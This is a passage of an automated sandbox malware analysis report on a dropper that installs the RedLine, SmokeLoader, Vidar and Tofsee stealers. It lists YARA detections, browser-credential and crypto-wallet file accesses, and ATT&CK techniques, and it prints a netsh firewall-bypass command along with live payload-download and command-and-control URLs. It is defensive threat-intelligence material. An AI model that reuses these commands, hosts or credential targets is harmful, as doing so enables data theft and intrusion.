Source: C:\Users\user\AppData\Local\Temp\11C5.exe

Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul

Modifies the windows firewall

Show sources

Source: C:\Users\user\AppData\Local\Temp\11C5.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 24.2.2203.exe.3a9fb70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.2203.exe.3a9fb70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.2203.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000000.858504517.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.925975800.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.861349217.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.858973232.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.866100742.0000000003981000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.857996787.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 20.0.BC2D.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rffhjft.4715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.rffhjft.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.BC2D.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.rffhjft.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.7NAzyCWRyM.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.BC2D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.rffhjft.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.BC2D.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.rffhjft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7NAzyCWRyM.exe.5415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.BC2D.exe.5415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.7NAzyCWRyM.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BC2D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rffhjft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.775218110.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.704358355.0000000004F21000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717525714.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.810053308.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717561910.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.775267751.00000000005E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.810181998.00000000006A1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 0000002B.00000002.939278060.000000000107A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.941021960.000000000108D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.837755684.0000000000672000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 38.2.riwtgmp.exe.4a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.11C5.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.11C5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.11C5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.11C5.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.riwtgmp.exe.490000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.470e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.4a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000002.852274958.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.825669935.0000000000560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.852203023.0000000000470000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.842688686.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.926221014.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.850412720.0000000000490000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.852028217.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.842975552.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: riwtgmp.exe PID: 1844, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior

Source: Yara match	File source: 0000002B.00000002.941021960.000000000108D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.837755684.0000000000672000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2203.exe PID: 1260, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 24.2.2203.exe.3a9fb70.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.2203.exe.3a9fb70.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.2203.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.2203.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000000.858504517.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.925975800.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.861349217.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.858973232.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.866100742.0000000003981000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.857996787.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 20.0.BC2D.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rffhjft.4715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.rffhjft.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.BC2D.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.rffhjft.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.7NAzyCWRyM.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.BC2D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.rffhjft.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.BC2D.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.rffhjft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7NAzyCWRyM.exe.5415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.BC2D.exe.5415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.7NAzyCWRyM.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.BC2D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rffhjft.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.775218110.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.704358355.0000000004F21000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717525714.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.810053308.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717561910.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.775267751.00000000005E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.810181998.00000000006A1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 0000002B.00000002.939278060.000000000107A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.941021960.000000000108D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.837755684.0000000000672000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 38.2.riwtgmp.exe.4a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.11C5.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.11C5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.11C5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.11C5.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.riwtgmp.exe.490000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.470e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.riwtgmp.exe.4a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000002.852274958.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.825669935.0000000000560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.852203023.0000000000470000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.842688686.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.926221014.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.850412720.0000000000490000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.852028217.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.842975552.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: riwtgmp.exe PID: 1844, type: MEMORYSTR

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Code function: 38_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

38_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Spearphishing Link1	Native API431	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools211	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Valid Accounts1	Exploitation for Client Execution1	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information11	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Ingress Tool Transfer14	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter3	Valid Accounts1	Valid Accounts1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Encrypted Channel21	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution3	Windows Service4	Access Token Manipulation1	Software Packing34	NTDS	System Information Discovery247	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Standard Port1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Windows Service4	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Non-Application Layer Protocol4	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection713	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery651	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Application Layer Protocol35	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery12	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading131	Proc Filesystem	Virtualization/Sandbox Evasion131	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion131	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection713	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
7NAzyCWRyM.exe	41%	Virustotal		Browse
7NAzyCWRyM.exe	49%	ReversingLabs	Win32.Trojan.Generic
7NAzyCWRyM.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\riwtgmp.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\8633.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9A8F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\rffhjft	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\11C5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\riwtgmp.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2203.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BC8F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BC2D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DDEE.exe	100%	Joe Sandbox ML
C:\ProgramData\sqlite3.dll	3%	Metadefender		Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\11C5.exe	37%	ReversingLabs	Win32.Backdoor.Tofsee
C:\Users\user\AppData\Local\Temp\2203.exe	89%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\8633.exe	26%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\8633.exe	86%	ReversingLabs	Win32.Ransomware.Lockbitcrypt
C:\Users\user\AppData\Local\Temp\BC2D.exe	49%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\BC8F.exe	23%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\BC8F.exe	89%	ReversingLabs	Win32.Ransomware.Convagent
C:\Users\user\AppData\Local\Temp\DDEE.exe	37%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.0.7NAzyCWRyM.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.BC2D.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.3.DDEE.exe.490000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.0.8633.exe.540e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.2.DDEE.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.8633.exe.540e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.rffhjft.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
11.0.rffhjft.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
20.0.BC2D.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.rffhjft.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.11C5.exe.540e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.0.8633.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.8633.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.rffhjft.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.1.7NAzyCWRyM.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.rffhjft.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.1.BC2D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.BC2D.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.11C5.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
13.3.8633.exe.6a0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.rffhjft.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
13.0.8633.exe.540e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
38.2.riwtgmp.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
21.2.DDEE.exe.470e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
19.2.BC2D.exe.5415a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.1.rffhjft.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
38.2.riwtgmp.exe.470e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.0.rffhjft.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
23.3.11C5.exe.560000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.0.7NAzyCWRyM.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
38.3.riwtgmp.exe.490000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
20.0.BC2D.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
20.0.BC2D.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
0.2.7NAzyCWRyM.exe.5415a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.BC2D.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
38.2.riwtgmp.exe.4a0000.2.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
1.2.7NAzyCWRyM.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.BC2D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.rffhjft.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.8633.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rffhjft.4715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.7NAzyCWRyM.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.BC2D.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://privacytools-foryou-777.com/downloads/toolspab3.exe	10%	Virustotal		Browse
http://privacytools-foryou-777.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
http://91.243.44.130/stlr/maps.exe	11%	Virustotal		Browse
http://91.243.44.130/stlr/maps.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://file-file-host4.com/sqlite3.dlljRZI	100%	Avira URL Cloud	malware
http://crl.ver)	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://185.7.214.239/sqlite3.dll	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://data-host-coin-8.com/files/8584_1641133152_551.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/game.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/2184_1641247228_8717.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://file-file-host4.com/sqlite3.dlljYZ	100%	Avira URL Cloud	malware
http://185.7.214.239/POeNDXYchB.php	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
http://file-file-host4.com/sqlite3.dll	0%	URL Reputation	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://get.adob	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	198.11.172.78	true	false	high
bit.ly	67.199.248.10	true	false	high
bitly.com	67.199.248.14	true	false	high
patmushta.info	94.142.141.254	true	false	high
cdn.discordapp.com	162.159.135.233	true	false	high
microsoft-com.mail.protection.outlook.com	52.101.24.0	true	false	high
privacytools-foryou-777.com	198.11.172.78	true	false	high
file-file-host4.com	198.11.172.78	true	false	high
data-host-coin-8.com	198.11.172.78	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://privacytools-foryou-777.com/downloads/toolspab3.exe	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://91.243.44.130/stlr/maps.exe	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://bit.ly/3eHgQQR	false		high
http://185.7.214.239/sqlite3.dll	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/928021103304134716/928022474753474631/Teemless.exe	false		high
http://data-host-coin-8.com/files/8584_1641133152_551.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/game.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/2184_1641247228_8717.exe	true	Avira URL Cloud: malware	unknown
http://185.7.214.239/POeNDXYchB.php	true	Avira URL Cloud: malware	unknown
http://file-file-host4.com/sqlite3.dll	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	2203.exe, 00000029.00000002.933756508.0000000003370000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.951111083.0000000004252000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933844440.0000000003386000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.934064800.0000000003448000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933993363.0000000003432000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.965065647.00000000042C3000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	2203.exe, 00000029.00000002.931959860.0000000003264000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	2203.exe, 00000029.00000002.934064800.0000000003448000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.933993363.0000000003432000.00000004.00000001.sdmp, 2203.exe, 00000029.00000002.965065647.00000000042C3000.00000004.00000001.sdmp	false		high
